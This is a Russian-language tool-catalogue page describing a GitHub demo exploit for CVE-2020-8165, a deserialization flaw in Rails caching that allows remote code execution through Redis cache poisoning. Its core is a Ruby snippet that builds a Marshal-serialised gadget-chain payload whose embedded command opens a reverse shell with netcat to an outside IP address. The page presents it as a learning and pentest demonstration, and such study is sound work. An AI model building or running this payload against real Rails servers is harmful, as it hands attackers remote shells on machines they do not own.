Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2020-8165-demo — Демонстрация эксплуатации удаленного выполнения кода (RCE) через десериализацию в Rails (CVE-2020-8165) с использованием реалистичного приложения Shouter, генерации полезной нагрузки на Ruby и отравления кэша Redis. | Kitploit
Инструменты/GitHubGitHub/danielklim/cve-2020-8165-demo
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubdanielklim/cve-2020-8165-demo

cve-2020-8165-demo

Демонстрация эксплуатации удаленного выполнения кода (RCE) через десериализацию в Rails (CVE-2020-8165) с использованием реалистичного приложения Shouter, генерации полезной нагрузки на Ruby и отравления кэша Redis.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
115 лет назадЕщё не проверено

CVE-2020-8165 Демо

Ещё одна демонстрация CVE-2020-8165, но в более реалистичной реализации, чем большинство.

Предыстория

CVE-2020-8165

Уязвимость десериализации недоверенных данных существует в rails < 5.2.4.3, rails < 6.0.3.1, которая может позволить атакующему разархивировать предоставленные пользователем объекты в MemCacheStore и RedisCacheStore, что потенциально может привести к RCE.

Ссылки

  • https://hackerone.com/reports/413388
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8165
  • https://nvd.nist.gov/vuln/detail/CVE-2020-8165
  • https://www.cvebase.com/cve/2020/8165
  • https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a/

Реализация

В приложении "Shouter" есть функция кэширования в модели Shout, где необязательные изображения, отправляемые вместе с shout:string, кэшируются в redis и извлекаются оттуда, а не из БД. Поскольку для взаимодействия с кэшем используется уязвимый метод Rails.cache.fetch, это приложение подвержено CVE-2020-8165, а результаты RCE помещаются в src тегов img на маршруте панели управления.

Генерация полезных нагрузок RCE

Следующий фрагмент сгенерирует полезную нагрузку, которую необходимо отправить с помощью exploit.py. Есть некоторые нюансы с этапом сериализации, которые необходимо выяснить для полной реализации эксплойта на Python. Поэтому для генерации точной полезной нагрузки (пока что) необходим Marshal.dump в Ruby.

root@kitploit:~
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload
Скачать инструмент